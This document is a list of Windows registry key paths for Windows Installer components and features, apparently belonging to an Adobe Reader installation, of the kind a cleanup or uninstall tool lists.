HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0DC9A3374B7700D469383417DA0642D8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0DC9A3374B7700D469383417DA0642D8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6CBE7CDAEBE170A468E9F52F53E13B29
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6CBE7CDAEBE170A468E9F52F53E13B29\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\974C3A6F87F80524B833C3244D961E2E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\974C3A6F87F80524B833C3244D961E2E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1339698970-4093829097-1161395185-1000\Installer\Features\68AB67CA7DA73301B744BA0000000010
HKEY_USERS\S-1-5-21-1339698970-4093829097-1161395185-1000\Software\Microsoft\Installer\Features\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Classes\Installer\Features\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\68AB67CA7DA73301B744BA0000000010\ReaderProgramFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\68AB67CA7DA73301B744BA0000000010\Features
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\68AB67CA7DA73301B744BA0000000010\Features\ReaderProgramFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\721B0771CE7953B41B4784D92724CFAA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\721B0771CE7953B41B4784D92724CFAA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DC54B29B2C1A91D4E90228F71532EF25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DC54B29B2C1A91D4E90228F71532EF25\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B82ABB1D0C7664C4F8E6C16423F57234
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B82ABB1D0C7664C4F8E6C16423F57234\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEA8E823AE59AFB43997F28B83C8E84C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEA8E823AE59AFB43997F28B83C8E84C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4CC4B8FA1619E6F42A47B70FA255C113
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4CC4B8FA1619E6F42A47B70FA255C113\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE47C49379177834F98FA76A4C043F52
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE47C49379177834F98FA76A4C043F52\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49CED8721D0CF6841B27BB5ECC02FDED
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49CED8721D0CF6841B27BB5ECC02FDED\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6DDF9A6A414A3B4099754ACAF7D735C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6DDF9A6A414A3B4099754ACAF7D735C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\04B7C98CCE0F21F4E9EB7F0057A20EA0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\04B7C98CCE0F21F4E9EB7F0057A20EA0\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B31492ABDE5EA584CA42E924A1EDC230
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B31492ABDE5EA584CA42E924A1EDC230\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7A11E946102B22241B413AE2EEBAB671
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7A11E946102B22241B413AE2EEBAB671\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5093AC69067959D408962E50AB061B60
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5093AC69067959D408962E50AB061B60\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E1D0D1E43318B5442A80C602F00A7AD0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E1D0D1E43318B5442A80C602F00A7AD0\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F2972C139BD83DC4B839D3A8D8AB621A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F2972C139BD83DC4B839D3A8D8AB621A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D37F9C8794107AE4EB7242C863E97348
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D37F9C8794107AE4EB7242C863E97348\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F1AE0C9111C4CA4186FF4C932C8AB0E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F1AE0C9111C4CA4186FF4C932C8AB0E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\27E36364CE095194D8B6C937FF83917E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\27E36364CE095194D8B6C937FF83917E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4210D39FE9C0D214DA66C66F9C686753
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4210D39FE9C0D214DA66C66F9C686753\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\492D11F7213901C4CB94E0E4B118E251
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\492D11F7213901C4CB94E0E4B118E251\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C35D5C50471CE644AEE4949C8871815
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C35D5C50471CE644AEE4949C8871815\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1963DDD4CC5F2CA4FB3CDBEEDA7D2D59
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1963DDD4CC5F2CA4FB3CDBEEDA7D2D59\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5B8A5F9BB528C8A41BAFB0CD822BF716
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5B8A5F9BB528C8A41BAFB0CD822BF716\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5D0E502A00E4341458F9CDBC6F0EE22E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5D0E502A00E4341458F9CDBC6F0EE22E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8094EE68166F12246B4E62D2E41E099F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8094EE68166F12246B4E62D2E41E099F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3BAEA108B4F648940BB38C607D5B66E6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3BAEA108B4F648940BB38C607D5B66E6\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A1495754F40101448A735EEF06175BF2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A1495754F40101448A735EEF06175BF2\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\50998A8DA27A69B4D9116E985BAA8021
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\50998A8DA27A69B4D9116E985BAA8021\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\101E81DEBEAC18543939D4B1989AFB7C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\101E81DEBEAC18543939D4B1989AFB7C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE1F717E44E961949815ACF28AC6DD0A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE1F717E44E961949815ACF28AC6DD0A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\310F03195485741439F307764C3E7D7A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\310F03195485741439F307764C3E7D7A\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0D6D0B5267ED7EE4787D23E669ABD587
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0D6D0B5267ED7EE4787D23E669ABD587\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0C1E8614ACA269C46822B9BA31A0D2AA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0C1E8614ACA269C46822B9BA31A0D2AA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0349FF34B4F322D419FC9E5C7C0ED151
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0349FF34B4F322D419FC9E5C7C0ED151\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A17E93B7C322E354E9C3B1590C6C34DB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A17E93B7C322E354E9C3B1590C6C34DB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E082C2CFE94255942A14FB17BE6B3F2F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E082C2CFE94255942A14FB17BE6B3F2F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E7170FFCD5100334F813E8CDBE124C99
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E7170FFCD5100334F813E8CDBE124C99\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F4397F6D435ECA24D81D699D63B6F39D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F4397F6D435ECA24D81D699D63B6F39D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\36AF20128E89D6F4A920F2A4636AC354
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\36AF20128E89D6F4A920F2A4636AC354\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C57278595DD8FA4A88153B1180C4A27
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C57278595DD8FA4A88153B1180C4A27\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CC275594575BF0943AAEA81F6079425E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CC275594575BF0943AAEA81F6079425E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BFBC5C8C7FF632D43BEFE50028D06EFA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BFBC5C8C7FF632D43BEFE50028D06EFA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\03F127B04DC4DF84D8A0BD9DD8A47311
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\03F127B04DC4DF84D8A0BD9DD8A47311\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\77811AF0132F6A946B0E8D3F62D7AD8B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\77811AF0132F6A946B0E8D3F62D7AD8B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6B575167E61A6914E9C9B25DD8368F48
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6B575167E61A6914E9C9B25DD8368F48\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\22F4DAC0B3D560C48B6ED1CFE16DED9D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\22F4DAC0B3D560C48B6ED1CFE16DED9D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2934E2C16CAF7964990D1969CD576B18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2934E2C16CAF7964990D1969CD576B18\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0166F5B2D5C830A488E8308565152A9E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0166F5B2D5C830A488E8308565152A9E\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C3C19C1FA44616F44BB254F47F629665
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C3C19C1FA44616F44BB254F47F629665\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D4E0BF3F43A3AA94FB943174F1BD0864
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D4E0BF3F43A3AA94FB943174F1BD0864\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D79DCB1D1B9CF6B4499BE9D01197EA21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D79DCB1D1B9CF6B4499BE9D01197EA21\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\337ABE535D078D14099C57A239EF250D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\337ABE535D078D14099C57A239EF250D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\85D8DD0E24C00DB40B10F9F38632A253
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\85D8DD0E24C00DB40B10F9F38632A253\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4092152B411BF7B4EB862533C938D699
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4092152B411BF7B4EB862533C938D699\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\850193B30EC5DA144B0582CB84538CDB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\850193B30EC5DA144B0582CB84538CDB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E3FC65AB64CE51E4A99DF582E4B1CEAB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E3FC65AB64CE51E4A99DF582E4B1CEAB\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F1BC8F95270E2264A94F91ABF943EF71
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F1BC8F95270E2264A94F91ABF943EF71\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\07825A4C08C27B048AB777FE753EC55B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\07825A4C08C27B048AB777FE753EC55B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\58425B8C9E5AC00428A391BFFC0DF99F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\58425B8C9E5AC00428A391BFFC0DF99F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9D662FD830DA67B4AA73849147C05F24
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9D662FD830DA67B4AA73849147C05F24\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F0D7C5C8E9C02F2488BF23F3D39E2F1B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F0D7C5C8E9C02F2488BF23F3D39E2F1B\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB53C2CEB1F9DA94B941AB6143866A46
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB53C2CEB1F9DA94B941AB6143866A46\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6E3DFC5FE989BC54AA0A31C11E5E9951
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6E3DFC5FE989BC54AA0A31C11E5E9951\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C4E7397337911BB48ACFF35FB9685200
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C4E7397337911BB48ACFF35FB9685200\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7FC201AD0BD12A34286188A3F8DA6C36
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7FC201AD0BD12A34286188A3F8DA6C36\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1DE7F110AFAA90C49809BCC45C22CCB7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1DE7F110AFAA90C49809BCC45C22CCB7\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\206097A43463626498893D00E537F7D2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\206097A43463626498893D00E537F7D2\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AD71E371BC38E864F82DB6404D2BF408
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AD71E371BC38E864F82DB6404D2BF408\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E3A377A9AA6AD014AB28757CDAD646AA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E3A377A9AA6AD014AB28757CDAD646AA\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1AE339F0568D45C489F213DC56E50B66
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1AE339F0568D45C489F213DC56E50B66\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\422B819BB22CE78499BB4A3C5FC7727F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\422B819BB22CE78499BB4A3C5FC7727F\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C1C4C10236F37B6468D9370E57370193
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C1C4C10236F37B6468D9370E57370193\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\378FC2EF63F82AB44BC07C8B6423ECB7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\378FC2EF63F82AB44BC07C8B6423ECB7\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F5678751A1B3F6540861D057FDB0044D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F5678751A1B3F6540861D057FDB0044D\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5BBBC49BED1E9BC4FB408C4FEA9D517C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5BBBC49BED1E9BC4FB408C4FEA9D517C\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FE8D5430B37D66D4998D88A8CEC87799
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FE8D5430B37D66D4998D88A8CEC87799\68AB67CA7DA73301B744BA0000000010
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47F704F177BAC3741AAF03FF2B4BA243
